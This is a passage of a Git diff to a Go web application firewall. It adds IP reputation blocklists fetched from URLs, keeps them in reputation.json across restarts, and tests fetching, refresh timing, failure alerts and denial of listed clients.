"203.0.113.255": {dropURL}, + "192.0.2.8": nil, + "203.0.114.0": nil, + } { + wantListedBy(t, lists, addr, want...) + } + + // A mapped netblock shorter than /96 stands for no IPv4 one. + err = lists.Load([]reputation.List{{ + URL: dropURL, Tried: now, Fetched: now, Lines: []string{"::ffff:198.51.100.0/88"}, + }}) + + const want = "the copy of " + dropURL + + ": line 1 is not an address or a netblock, such as 192.0.2.0/24" + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } +} + +func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + servers := &standIn{lists: map[string]string{ + dropURL: "203.0.113.0/24\n", torURL: "203.0.113.9\n", + }} + lists := start(t, servers, params(torURL, dropURL)) + + // In the order SWWAF_BLOCKLIST_URLS names them. + wantListedBy(t, lists, "203.0.113.9", torURL, dropURL) + wantListedBy(t, lists, "203.0.113.8", dropURL) + }) +} + +func TestListFetchedAgainOnceRefreshHasPassed(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + servers := &standIn{lists: map[string]string{dropURL: "203.0.113.9\n"}} + lists := start(t, servers, params(dropURL)) + began := time.Now() + + wantFetches(t, servers, 1) + + servers.set(dropURL, "203.0.113.10\n") + time.Sleep(refresh - time.Nanosecond) + wantFetches(t, servers, 1) + wantListedBy(t, lists, "203.0.113.9", dropURL) + + time.Sleep(time.Nanosecond) + wantFetches(t, servers, 2) + wantListedBy(t, lists, "203.0.113.9") + wantListedBy(t, lists, "203.0.113.10", dropURL) + + if fetched := lists.Fetched(dropURL); !fetched.Equal(began.Add(refresh)) { + t.Errorf("the copy in use was fetched at %s, want %s", fetched, + began.Add(refresh)) + } + }) +} + +func TestFailedFetchKeepsTheLastGoodCopyAndAlertsOncePerCooldown(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + // fail has the stand-in answer the fetches after the first so that + // they fail with error. + fail func(servers *standIn) + error string + }{ + { + "an answer other than 200", + func(servers *standIn) { servers.set(dropURL, "") }, + "the server answered 503 Service Unavailable", + }, + { + "a line that does not read", + func(servers *standIn) { servers.set(dropURL, "203.0.113.10\n\n") }, + "line 2 is not an address or a netblock, such as 192.0.2.0/24", + }, + { + "a list longer than 16 MiB", + func(servers *standIn) { + servers.set(dropURL, strings.Repeat("#\n", 8<<20+1)) + }, + "the list is longer than 16 MiB", + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + var log bytes.Buffer + + servers := &standIn{lists: map[string]string{dropURL: drop}} + queue := newQueue() + p := params(dropURL) + p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil)) + p.Alerts = queue + lists := start(t, servers, p) + kept := lists.Snapshot() + + tc.fail(servers) + + // Each failure is tried again once refresh has passed since it. + for range 2 { + time.Sleep(refresh) + synctest.Wait() + } + + wantFetches(t, servers, 3) + wantListedBy(t, lists, "203.0.113.9", dropURL) + + want := kept[0] + want.Tried = time.Now() + + if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) { + t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want) + } + + if lists.Failures(dropURL) != 2 { + t.Errorf("%d failures, want 2", lists.Failures(dropURL)) + } + + // One alert for the first failure; the cooldown holds back the + // second. + wantAlert(t, queue, alerts.Alert{ + Time: time.Now().Add(-refresh), + Event: alerts.EventSourceFailure, + Reason: "fetching a list failed", + Detail: map[string]any{"source": dropURL, "error": tc.error}, + }) + + if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+ + `"url":"`+dropURL+`","error":"`+tc.error) { + t.Errorf("logged\n%s\nwant the failures", log.String()) + } + }) + }) + } +} + +func TestFetchNotDoneWithinAMinuteFails(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + servers := &standIn{lists: map[string]string{}, hanging: true} + lists := start(t, servers, params(dropURL)) + + time.Sleep(time.Minute - time.Nanosecond) + synctest.Wait() + + if lists.Failures(dropURL) != 0 { + t.Errorf("%d failures before a minute, want none", lists.Failures(dropURL)) + } + + time.Sleep(time.Nanosecond) + synctest.Wait() + + if lists.Failures(dropURL) != 1 { + t.Errorf("%d failures after a minute, want 1", lists.Failures(dropURL)) + } + }) +} + +func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + servers := &standIn{lists: map[string]string{ + dropURL: "203.0.113.10\n", torURL: "198.51.100.10\n", + }} + lists := reputation.New(params(dropURL, torURL)) + lists.SetTransport(servers) + + // drop.txt was fetched an hour ago, and tor.txt a refresh ago, as + // reputation.json says at start. + err := lists.Load([]reputation.List{ + {URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}}, + {URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}}, + }) + if err != nil { + t.Fatalf("load: %v", err) + } + + run(t, lists) + + wantFetches(t, servers, 1) + wantListedBy(t, lists, "203.0.113.9", dropURL) + wantListedBy(t, lists, "198.51.100.10", torURL) + + time.Sleep(refresh - time.Hour - time.Nanosecond) + wantFetches(t, servers, 1) + + time.Sleep(time.Nanosecond) + wantFetches(t, servers, 2) + wantListedBy(t, lists, "203.0.113.10", dropURL) + }) +} + +func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + // drop.txt is fetched, and a refresh later the fetch downloads it + // whole but fails on a line that does not read. + servers := &standIn{lists: map[string]string{dropURL: "198.51.100.1\n"}} + lists := start(t, servers, params(dropURL)) + + servers.set(dropURL, "198.51.100.2\n\n") + time.Sleep(refresh) + wantFetches(t, servers, 2) + + // Restarted with what reputation.json keeps, it waits a refresh + // after the failed try, as it does while it runs. + restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}} + again := reputation.New(params(dropURL)) + again.SetTransport(restarted) + + err := again.Load(lists.Snapshot()) + if err != nil { + t.Fatalf("load: %v", err) + } + + run(t, again) + wantFetches(t, restarted, 0) + wantListedBy(t, again, "198.51.100.1", dropURL) + + time.Sleep(refresh - time.Nanosecond) + wantFetches(t, restarted, 0) + + time.Sleep(time.Nanosecond) + wantFetches(t, restarted, 1) + wantListedBy(t, again, "198.51.100.2", dropURL) + }) +} + +func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + // Stopped 30 seconds into the fetch of drop.txt, before tor.txt's. + servers := &standIn{lists: map[string]string{}, hanging: true} + queue := newQueue() + p := params(dropURL, torURL) + p.Alerts = queue + + lists := reputation.New(p) + lists.SetTransport(servers) + + ctx, stop := context.WithCancel(t.Context()) + stopped := make(chan struct{}) + + go func() { + lists.Run(ctx) + close(stopped) + }() + + time.Sleep(30 * time.Second) + stop() + <-stopped + + wantFetches(t, servers, 1) + + if lists.Failures(dropURL) != 0 || len(waiting(queue)) != 0 { + t.Errorf("%d failures and alerts %+v, want none", lists.Failures(dropURL), + waiting(queue)) + } + + // Restarted an hour later with what reputation.json keeps, it fetches + // tor.txt, never tried, at once, and drop.txt a refresh after its + // cut-off try. + time.Sleep(time.Hour) + + restarted := &standIn{lists: map[string]string{ + dropURL: "203.0.113.7\n", torURL: "198.51.100.7\n", + }} + again := reputation.New(params(dropURL, torURL)) + again.SetTransport(restarted) + + err := again.Load(lists.Snapshot()) + if err != nil { + t.Fatalf("load: %v", err) + } + + run(t, again) + wantFetches(t, restarted, 1) + wantListedBy(t, again, "198.51.100.7", torURL) + + time.Sleep(refresh - time.Hour - time.Nanosecond) + wantFetches(t, restarted, 1) + + time.Sleep(time.Nanosecond) + wantFetches(t, restarted, 2) + wantListedBy(t, again, "203.0.113.7", dropURL) + }) +} + +func TestASNLimitPercentFileGivesEachASNumberItsLowestPercentage(t *testing.T) { + t.Parallel() + + synctest.Test(t, func(t *testing.T) { + servers := &standIn{lists: map[string]string{ + asnURL: "# hosting networks\nAS14061:50 ; DigitalOcean\nas16276:25\n\n" + + "AS14061:10\nAS14061:30\n", + }} + p := params() + p.ASNLimitPercentURL = asnURL + lists := start(t, servers, p) + + for asn, want := range map[string]int64{"AS14061": 10, "AS16276": 25} { + percent, listed := lists.ASNLimitPercent(asn) + if !listed || percent != want { + t.Errorf("%s has %d (listed %t), want %d", asn, percent, listed, want) + } + } + + if _, listed := lists.ASNLimitPercent("AS64496"); listed { + t.Error("AS64496 is listed") + } + + // A line that does not read fails the fetch. + servers.set(asnURL, "AS14061:50\nAS16276\n") + time.Sleep(refresh) + synctest.Wait() + + if lists.Failures(asnURL) != 1 { + t.Errorf("%d failures, want 1", lists.Failures(asnURL)) + } + }) +} + +func TestLoadDropsCopiesOfListsNotNamedAndRefusesOnesThatDoNotRead(t *testing.T) { + t.Parallel() + + fetched := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC) + kept := reputation.List{ + URL: dropURL, Tried: fetched, Fetched: fetched, Lines: []string{"203.0.113.9"}, + } + lists := reputation.New(params(dropURL)) + + err := lists.Load([]reputation.List{kept, { + URL: torURL, Tried: fetched, Fetched: fetched, Lines: []string{"198.51.100.9"}, + }}) + if err != nil { + t.Fatalf("load: %v", err) + } + + if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) { + t.Errorf("copies %+v, want only %+v", got, kept) + } + + err = lists.Load([]reputation.List{{URL: dropURL, Fetched: fetched, Lines: []string{ + "; DROP", "203.0.113.300", + }}}) + + const want = "the copy of " + dropURL + + ": line 2 is not an address or a netblock, such as 192.0.2.0/24" + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + + if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{kept}) { + t.Errorf("copies %+v after the error, want %+v still", got, kept) + } +} + +// standIn is a stand-in for the servers the lists are fetched from. It +// notes the URL of each fetch. +type standIn struct { + mu sync.Mutex + // lists are what it answers with, by URL; it answers a URL it has no + // list for with 503, and none at all while hanging. + lists map[string]string + hanging bool + fetches []string +} + +// RoundTrip has the stand-in answer req, in place of the network. A fetch +// abandoned before the stand-in answers fails, as over the network. +func (s *standIn) RoundTrip(req *http.Request) (*http.Response, error) { + s.mu.Lock() + s.fetches = append(s.fetches, req.URL.String()) + list, found := s.lists[req.URL.String()] + hanging := s.hanging + s.mu.Unlock() + + if hanging { + <-req.Context().Done() + + return nil, req.Context().Err() + } + + status := http.StatusOK + if !found { + status = http.StatusServiceUnavailable + } + + return &http.Response{ + StatusCode: status, + Status: fmt.Sprintf("%d %s", status, http.StatusText(status)), + Header: http.Header{}, + Body: io.NopCloser(strings.NewReader(list)), + Request: req, + }, nil +} + +// set has the stand-in answer listURL with list, or with 503 for "". +func (s *standIn) set(listURL, list string) { + s.mu.Lock() + defer s.mu.Unlock() + + if list == "" { + delete(s.lists, listURL) + + return + } + + s.lists[listURL] = list +} + +// params returns the Params of the blocklists at urls, refreshed every +// refresh, by the bubble's clock, with alerts to a queue that sends none. +func params(urls ...string) reputation.Params { + return reputation.Params{ + BlocklistURLs: urls, + Refresh: refresh, + Now: time.Now, + ProcessLog: slog.New(slog.DiscardHandler), + Alerts: newQueue(), + } +} + +// newQueue returns a queue of alerts to a webhook that is never sent +// them, with a cooldown of cooldown. +func newQueue() *alerts.Queue { + return alerts.New(alerts.Params{ + WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"}, + Events: alerts.Events(), + Cooldown: cooldown, + Now: time.Now, + }) +} + +// start returns the lists of p, fetched through servers by Run, which runs +// until the test ends, once Run has fetched those due at start. +func start(t *testing.T, servers *standIn, p reputation.Params) *reputation.Lists { + t.Helper() + + lists := reputation.New(p) + lists.SetTransport(servers) + run(t, lists) + + return lists +} + +// run runs lists' Run until the test ends, and waits until it has fetched +// the lists due. +func run(t *testing.T, lists *reputation.Lists) { + t.Helper() + + ctx, stop := context.WithCancel(t.Context()) + stopped := make(chan struct{}) + + go func() { + lists.Run(ctx) + close(stopped) + }() + + t.Cleanup(func() { + stop() + <-stopped + }) + + synctest.Wait() +} + +// wantFetches waits until Run has made the fetches due, and checks how +// many the servers have had. +func wantFetches(t *testing.T, servers *standIn, want int) { + t.Helper() + + synctest.Wait() + + servers.mu.Lock() + got := len(servers.fetches) + servers.mu.Unlock() + + if got != want { + t.Errorf("%d fetches, want %d", got, want) + } +} + +// wantListedBy checks the URLs of the blocklists lists says list addr. +func wantListedBy(t *testing.T, lists *reputation.Lists, addr string, want ...string) { + t.Helper() + + got := lists.ListedBy(netip.MustParseAddr(addr)) + if !slices.Equal(got, want) { + t.Errorf("%s is listed by %v, want %v", addr, got, want) + } +} + +// waiting returns the alerts waiting in queue. +func waiting(queue *alerts.Queue) []alerts.Alert { + return queue.Snapshot().Waiting[alerts.DestinationWebhook] +} + +// wantAlert checks that want is the one alert waiting in queue, and that +// the cooldown has held back one repeat of it. +func wantAlert(t *testing.T, queue *alerts.Queue, want alerts.Alert) { + t.Helper() + + got := waiting(queue) + if len(got) != 1 || !reflect.DeepEqual(got[0], want) || queue.Suppressed() != 1 { + t.Errorf("alerts waiting %+v, %d held back, want only %+v and 1", got, + queue.Suppressed(), want) + } +} diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index c583281..69c29d2 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -35,7 +35,8 @@ const ( // rule. ActionRuleBlocked = "rule_blocked" // ActionDenied is a request refused because its client is in - // SWWAF_DENY_NETS. + // SWWAF_DENY_NETS, or in a blocklist while SWWAF_BLOCKLIST_ACTION is + // deny. ActionDenied = "denied" // ActionCountryDenied is a request refused for its client's country. ActionCountryDenied = "country_denied" @@ -137,6 +138,8 @@ type Line struct { // Counts names its count: minute, hour or day for a rate limit, and // minute_bytes, hour_bytes or day_bytes for a byte limit. LimitHit string `json:"limit_hit,omitempty"` + // Reputation are the URLs of the blocklists that list the client. + Reputation []string `json:"reputation,omitempty"` // Offence is the offence the request was held as, OffenceLimit. Offence string `json:"offence,omitempty"` // BanExpires is when the ban the request made, or was refused under, diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index be9c446..ee9901d 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -200,6 +200,7 @@ func loadStateFiles( Ledger: server.Ledger, Limiter: server.Limiter, GeoJS: server.GeoJS, + Lists: server.Lists, Alerts: alertQueue, Anomalies: server.Anomalies, Now: now, @@ -267,8 +268,9 @@ func startSending( // serve serves requests on listener, writes the state files as they are // due, takes in an admin's edits of them, reads the rule files again as -// they change, and the lookup database when it is replaced, and sends the -// alerts, until ctx is done. Then it gives the requests in progress +// they change, and the lookup database when it is replaced, fetches the +// lists the settings name by URL as they are due, and sends the alerts, +// until ctx is done. Then it gives the requests in progress // shutdownTimeout to finish, and writes every state file, alerts.json with // the alerts still waiting. func serve( @@ -293,6 +295,7 @@ func serve( server.LookupFile.Watch(writing) } }) + listsFetched := inBackground(func() { server.Lists.Run(writing) }) alertsSent := inBackground(func() { alertQueue.Run(writing) }) select { @@ -336,6 +339,7 @@ func serve( <-watched <-rulesWatched <-lookupFileWatched + <-listsFetched <-alertsSent err = files.WriteAll() diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index fb708a3..3af0fdd 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -38,6 +38,7 @@ const ( stateWriteDelay = "SWWAF_STATE_WRITE_DELAY" stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" + rateLimitExemptNets = "SWWAF_RATE_LIMIT_EXEMPT_NETS" rulesDir = "SWWAF_RULES_DIR" lookupSource = "SWWAF_LOOKUP_SOURCE" lookupDBPath = "SWWAF_LOOKUP_DB_PATH" @@ -522,7 +523,7 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) { // The requests sent until a replacement takes effect, and those // for the metrics, must not break a rate limit, whose ban would // refuse them too. - "SWWAF_RATE_LIMIT_EXEMPT_NETS": placed + "," + localhost, + rateLimitExemptNets: placed + "," + localhost, } began := time.Now() // Each replacement is written beside the file and renamed over it, as @@ -573,6 +574,111 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) { } } +func TestBlocklistTriesAndCopiesKeptInReputationJSONAcrossRestarts(t *testing.T) { + t.Parallel() + + const ( + token = "0123456789abcdef0123456789abcdef" + torPath = "/tor.txt" + dropPath = "/drop.txt" + // copyright is the DROP list's date and copyright line. + copyright = "; Spamhaus DROP List 2026/10/07 - (c) 2026 The Spamhaus Project SLL" + ) + + failing, torFetches := new(atomic.Bool), new(atomic.Int32) + lists := map[string]string{ + torPath: "198.51.100.0/24\n", + dropPath: copyright + "\n" + placed + " ; SBL1\n", + } + server := httptest.NewServer(http.HandlerFunc( + func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == torPath { + torFetches.Add(1) + } + + if failing.Load() { + w.WriteHeader(http.StatusServiceUnavailable) + + return + } + + _, _ = io.WriteString(w, lists[r.URL.Path]) + })) + t.Cleanup(server.Close) + + torURL, dropURL := server.URL+torPath, server.URL+dropPath + dir := t.TempDir() + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: dir, + rulesDir: t.TempDir(), + trustedProxies: localhost + "/32", + metricsToken: token, + instanceName: instance, + "SWWAF_BLOCKLIST_URLS": torURL, + // The requests sent until the list takes effect, and those for the + // metrics, must not break a rate limit, whose ban would refuse them + // too. + rateLimitExemptNets: placed + "," + localhost, + } + failures := `smallwebwaf_reputation_failures_total{instance="fsn1app1/gitea",` + + `source="` + torURL + `"} ` + + // tor.txt cannot be fetched at first, which is counted. + failing.Store(true) + runUntilStopped(t, env, func(url string) { + metricsWith(t, url+"_smallwebwaf/metrics", token, failures+"1") + }) + + // Restarted with drop.txt named after it and the server answering, tor.txt + // waits SWWAF_BLOCKLIST_REFRESH after its failed try, kept in reputation.json, + // while drop.txt, never tried, is fetched at once. Lists are fetched in the + // order named, so once drop.txt refuses the client, tor.txt has had its turn. + failing.Store(false) + + env["SWWAF_BLOCKLIST_URLS"] = torURL + "," + dropURL + out := runUntilStopped(t, env, func(url string) { + for statusFrom(t, url, placed) != http.StatusForbidden { + time.Sleep(pollInterval) + } + }) + wantDeniedByList(t, out.line(t, "action", "denied"), dropURL) + + if fetches := torFetches.Load(); fetches != 1 { + t.Errorf("tor.txt fetched %d times, want once, before the restart", fetches) + } + + // After another restart, with the server failing, the copy of drop.txt + // kept in reputation.json, its copyright line included, refuses the + // client from the first request. + failing.Store(true) + + out = runUntilStopped(t, env, func(url string) { + wantStatus(t, url, placed, http.StatusForbidden) + }) + wantDeniedByList(t, out.line(t, "type", "request"), dropURL) + + path := filepath.Join(dir, "reputation.json") + + kept, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory + if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) { + t.Errorf("reputation.json holds\n%s\nwant the copy with %q (%v)", kept, copyright, + err) + } +} + +// wantDeniedByList checks that the request log line is of a request the +// blocklist at listURL refused. +func wantDeniedByList(t *testing.T, line map[string]any, listURL string) { + t.Helper() + + reputation, _ := line["reputation"].([]any) + if line["action"] != "denied" || len(reputation) != 1 || reputation[0] != listURL { + t.Errorf("request log line %v, want one denied for %s", line, listURL) + } +} + func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) { t.Parallel() @@ -1014,7 +1120,7 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL, dir string) { "SWWAF_REQUEST_MAX_BYTES": "100M", "SWWAF_RESPONSE_MAX_BYTES": "5G", "SWWAF_ALLOW_NETS": "", - "SWWAF_RATE_LIMIT_EXEMPT_NETS": "", + rateLimitExemptNets: "", "SWWAF_DENY_NETS": "", "SWWAF_RATE_LIMIT_PER_MINUTE": "1000", "SWWAF_RATE_LIMIT_PER_HOUR": "10000", diff --git a/internal/state/state.go b/internal/state/state.go index 6daf5c6..9ba75d4 100644 --- a/internal/state/state.go +++ b/internal/state/state.go @@ -1,9 +1,10 @@ // Package state keeps smallwebwaf's state in JSON files in // SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes: // bans.json holds the bans, clients.json each client's counters and -// history, lookups.json GeoJS's answers, and alerts.json the cooldowns, -// the hour under way, the alerts waiting for each destination and the -// anomaly counters. Load +// history, lookups.json GeoJS's answers, reputation.json the last try and +// last good copy of each list fetched from a URL, and alerts.json the +// cooldowns, the hour under way, the alerts waiting for each destination +// and the anomaly counters. Load // reads them at start, Watch takes in an admin's edit of one while // smallwebwaf runs, and Run and WriteAll write them. The disk is read and // written outside the parts' locks, which are held only to take a @@ -35,6 +36,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/metrics" "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/reputation" ) // version is the version of the files' format, the only one read. @@ -46,10 +48,11 @@ const fileMode = 0o600 // The state files' names. const ( - bansJSON = "bans.json" - clientsJSON = "clients.json" - lookupsJSON = "lookups.json" - alertsJSON = "alerts.json" + bansJSON = "bans.json" + clientsJSON = "clients.json" + lookupsJSON = "lookups.json" + reputationJSON = "reputation.json" + alertsJSON = "alerts.json" ) var ( @@ -73,12 +76,13 @@ type Params struct { // is (SWWAF_STATE_COUNTER_INTERVAL). WriteDelay time.Duration CounterInterval time.Duration - // Ledger, Limiter, GeoJS, Alerts and Anomalies hold the state. Alerts - // also receive a file_error alert for an edit set aside, and for a - // write that fails while smallwebwaf runs. + // Ledger, Limiter, GeoJS, Lists, Alerts and Anomalies hold the state. + // Alerts also receive a file_error alert for an edit set aside, and for + // a write that fails while smallwebwaf runs. Ledger *bans.Ledger Limiter *ratelimit.Limiter GeoJS *lookup.GeoJS + Lists *reputation.Lists Alerts *alerts.Queue Anomalies *anomaly.Counters // Now tells the time by which the counters' buckets run out, normally @@ -138,6 +142,13 @@ type lookupsFile struct { Lookups []lookup.Answer `json:"lookups"` } +// reputationFile is reputation.json, indented for an admin to read and +// edit, so that each line of a list's copy is on a line of its own. +type reputationFile struct { + Version int `json:"version"` + Lists []reputation.List `json:"lists"` +} + // alertsFile is alerts.json, indented for an admin to read and edit. // //nolint:tagliatelle // the state files use snake_case, as the request log does @@ -159,10 +170,10 @@ type stateFile interface { } // Load checks that files can be written in Dir, and reads the state files -// in it into the ledger, the limiter and GeoJS. A missing file is empty -// state, as on a first start. A file that does not parse, has an unknown -// version, or has an entry without a field it needs, is an error that -// names the file and, where the JSON decoder tells it, the line and +// in it into the parts of Params that hold the state. A missing file is +// empty state, as on a first start. A file that does not parse, has an +// unknown version, or has an entry without a field it needs, is an error +// that names the file and, where the JSON decoder tells it, the line and // column, or else the entry. func Load(params Params) (*Files, error) { err := checkWritable(params.Dir) @@ -175,16 +186,17 @@ func Load(params Params) (*Files, error) { bansRead, bansErr := f.read(bansJSON) clientsRead, clientsErr := f.read(clientsJSON) lookupsRead, lookupsErr := f.read(lookupsJSON) + reputationRead, reputationErr := f.read(reputationJSON) alertsRead, alertsErr := f.read(alertsJSON) - err = errors.Join(bansErr, clientsErr, lookupsErr, alertsErr) + err = errors.Join(bansErr, clientsErr, lookupsErr, reputationErr, alertsErr) if err != nil { return nil, err } params.ProcessLog.Info("read the state files", "directory", params.Dir, "bans", bansRead, "clients", clientsRead, "lookups", lookupsRead, - "alerts_waiting", alertsRead) + "lists", reputationRead, "alerts_waiting", alertsRead) return f, nil } @@ -213,7 +225,9 @@ func (f *Files) Run(ctx context.Context) { f.logFailure(bansJSON, f.writeFile(bansJSON)) case <-interval.C: - for _, name := range []string{bansJSON, clientsJSON, lookupsJSON, alertsJSON} { + for _, name := range []string{ + bansJSON, clientsJSON, lookupsJSON, reputationJSON, alertsJSON, + } { f.logFailure(name, f.writeFile(name)) } } @@ -224,7 +238,7 @@ func (f *Files) Run(ctx context.Context) { // fails does not keep the others from being written. func (f *Files) WriteAll() error { return errors.Join(f.writeFile(bansJSON), f.writeFile(clientsJSON), - f.writeFile(lookupsJSON), f.writeFile(alertsJSON)) + f.writeFile(lookupsJSON), f.writeFile(reputationJSON), f.writeFile(alertsJSON)) } // Watch watches Dir until ctx is done, and takes in an admin's edit of a @@ -259,7 +273,7 @@ func (f *Files) Watch(ctx context.Context) { return case event := <-watcher.Events: switch name := filepath.Base(event.Name); name { - case bansJSON, clientsJSON, lookupsJSON, alertsJSON: + case bansJSON, clientsJSON, lookupsJSON, reputationJSON, alertsJSON: f.fileChanged(name) } case err = <-watcher.Errors: @@ -405,33 +419,27 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) { f.params.GeoJS.Load(file.Lookups) entries = len(file.Lookups) - case alertsJSON: - // waiting was a list, of the alerts waiting for the webhook, before - // alerts went to Slack and ntfy too. - var written struct { - Waiting json.RawMessage `json:"waiting"` - } - - if json.Unmarshal(data, &written) == nil && - bytes.HasPrefix(written.Waiting, []byte("[")) { - return 0, fmt.Errorf("%s: %w", path, errWaitingList) - } - - var file alertsFile + case reputationJSON: + var file reputationFile err := parse(path, data, &file) if err != nil { return 0, err } - f.params.Alerts.Load(alerts.State{ - Cooldowns: file.Cooldowns, Hour: file.Hour, Waiting: file.Waiting, - }) - f.params.Anomalies.Load(file.AnomalyCounters, f.params.Now()) - - for _, waiting := range file.Waiting { - entries += len(waiting) + err = f.params.Lists.Load(file.Lists) + if err != nil { + return 0, fmt.Errorf("%s: %w", path, err) } + + entries = len(file.Lists) + case alertsJSON: + waiting, err := f.takeInAlerts(path, data) + if err != nil { + return 0, err + } + + entries = waiting } f.sums[name] = sha256.Sum256(data) @@ -439,6 +447,41 @@ func (f *Files) takeIn(name string, data []byte, edit bool) (int, error) { return entries, nil } +// takeInAlerts parses data, what alerts.json, at path, holds, puts it +// into the alerts and the anomaly counters, in place of what they held, +// and returns how many alerts wait in it, as takeIn describes. +func (f *Files) takeInAlerts(path string, data []byte) (int, error) { + // waiting was a list, of the alerts waiting for the webhook, before + // alerts went to Slack and ntfy too. + var written struct { + Waiting json.RawMessage `json:"waiting"` + } + + if json.Unmarshal(data, &written) == nil && + bytes.HasPrefix(written.Waiting, []byte("[")) { + return 0, fmt.Errorf("%s: %w", path, errWaitingList) + } + + var file alertsFile + + err := parse(path, data, &file) + if err != nil { + return 0, err + } + + f.params.Alerts.Load(alerts.State{ + Cooldowns: file.Cooldowns, Hour: file.Hour, Waiting: file.Waiting, + }) + f.params.Anomalies.Load(file.AnomalyCounters, f.params.Now()) + + entries := 0 + for _, waiting := range file.Waiting { + entries += len(waiting) + } + + return entries, nil +} + // writeFile writes the state file name from what smallwebwaf holds. An // edit made since smallwebwaf last read or wrote the file is taken in // first, so that it is not overwritten, or set aside if it does not @@ -514,34 +557,38 @@ func (f *Files) setAside(name string, parseErr error) error { func (f *Files) encode(name string) ([]byte, error) { switch name { case bansJSON: - file := bansFile{Version: version, Bans: BanEntries(f.params.Ledger.Snapshot())} - - data, err := json.MarshalIndent(file, "", " ") - if err != nil { - return nil, err - } - - return append(data, '\n'), nil + return encodeIndented(bansFile{ + Version: version, Bans: BanEntries(f.params.Ledger.Snapshot()), + }) case clientsJSON: return encodeOnePerLine("clients", f.params.Limiter.Snapshot()) case lookupsJSON: return encodeOnePerLine("lookups", f.params.GeoJS.Snapshot()) + case reputationJSON: + return encodeIndented(reputationFile{ + Version: version, Lists: f.params.Lists.Snapshot(), + }) default: // alerts.json held := f.params.Alerts.Snapshot() - file := alertsFile{ + + return encodeIndented(alertsFile{ Version: version, Cooldowns: held.Cooldowns, Hour: held.Hour, Waiting: held.Waiting, AnomalyCounters: f.params.Anomalies.Snapshot(), - } - - data, err := json.MarshalIndent(file, "", " ") - if err != nil { - return nil, err - } - - return append(data, '\n'), nil + }) } } +// encodeIndented encodes file, a state file's struct, indented for an +// admin to read and edit. +func encodeIndented(file any) ([]byte, error) { + data, err := json.MarshalIndent(file, "", " ") + if err != nil { + return nil, err + } + + return append(data, '\n'), nil +} + // BanEntries returns held as bans.json lists them, an empty list for // none. func BanEntries(held []bans.Ban) []BanEntry { @@ -679,6 +726,27 @@ func (f *lookupsFile) check(data []byte) error { return nil } +// check refuses a list without its URL, which would name no list, or the +// time it was last tried, which would have it fetched at once, and a copy +// of it without the time it was fetched, or without its lines, which hold +// the list. +func (f *reputationFile) check([]byte) error { + for i, kept := range f.Lists { + switch { + case kept.URL == "": + return missing(i, "url") + case kept.Tried.IsZero(): + return missing(i, "tried") + case kept.Fetched.IsZero() && kept.Lines != nil: + return missing(i, "fetched") + case kept.Lines == nil && !kept.Fetched.IsZero(): + return missing(i, "lines") + } + } + + return nil +} + // check refuses a cooldown without its event or when its alert was sent, // which would hold back no repeat, alerts waiting for a destination with // another name than webhook, slack or ntfy, most likely misspelt, an diff --git a/internal/state/state_test.go b/internal/state/state_test.go index 62ad793..1b0e604 100644 --- a/internal/state/state_test.go +++ b/internal/state/state_test.go @@ -27,15 +27,20 @@ import ( "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/metrics" "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/state" ) const ( // The state files. - bansJSON = "bans.json" - clientsJSON = "clients.json" - lookupsJSON = "lookups.json" - alertsJSON = "alerts.json" + bansJSON = "bans.json" + clientsJSON = "clients.json" + lookupsJSON = 